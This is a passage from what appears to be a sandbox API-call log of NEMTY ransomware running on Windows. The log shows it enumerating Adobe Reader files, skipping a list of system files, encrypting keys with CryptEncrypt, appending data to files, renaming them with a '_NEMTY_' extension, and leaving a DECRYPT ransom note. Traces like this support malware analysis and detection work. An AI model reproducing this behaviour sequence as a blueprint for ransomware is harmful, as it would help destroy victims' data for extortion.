Size=0xb0) returned 0x6340270 [0183.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.678] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.681] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0183.681] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0183.682] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0183.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0183.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0183.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0183.683] Sleep (dwMilliseconds=0x5) [0183.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21222350, dwHighDateTime=0x1d561e8)) [0183.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x21222350, dwHighDateTime=0x1d561e8)) [0183.688] GetLastError () returned 0x0 [0183.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.688] GetLastError () returned 0x0 [0183.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.688] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0183.688] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0183.688] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0183.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0183.688] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="Kyb1jivc5MWRTR6b1JfX5vjNFsLOZB5lkyRHsYc+xg+OV3/JFH4IYVxQ6pTLTTdh\r\nhF64vuEoDBP9eWcyISLbXgSUz0/q+XLDJUWilmvvMdpNmfX9JUPW+HcjDbs6CPcX\r\nn2eyet3BwtVi5WMySybU2kPpUhahEesYqdVNBI77rVa9kIAe5eU+fTfICcAj8G+V\r\nLUwr2NCvc8/jgW8OtAbkhRV0XW5f0ScykaFUiOlXFsMvl0nZUitUN2v+JhiaE75O\r\nIR4+rJDgVbxZEu3Pn8LHV7dLm1ozooV+2dCiJfU4uhuZCqEfd11ag8O6tdf+gDME\r\nNmxFkH87Z9dumQWVDL8yzQ==\r\n", pcchString=0x653e29c) returned 1 [0183.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0183.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.689] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0183.689] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0183.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0183.689] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.689] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0183.690] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.690] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0183.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.690] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0183.690] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0183.690] CloseHandle (hObject=0x2f0) returned 1 [0183.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0183.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0183.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0183.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0183.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.693] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211aff30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x211aff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x211aff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0183.693] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0183.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0183.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.693] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0183.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.694] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211aff30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x211aff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x211aff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0183.694] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.694] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.SKY", cAlternateFileName="")) returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2=".") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="..") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="...") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="windows") returned -1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="rsa") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="NTDETECT.COM") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="ntldr") returned 1 [0183.694] lstrcmpiW (lpString1="Spelling.SKY", lpString2="MSDOS.SYS") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="IO.SYS") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="boot.ini") returned 1 [0183.695] lstrcmpiW (lpString1="Spelling.SKY", lpString2="boot.ini") returned 1 [0183.695] lstrcmpiW 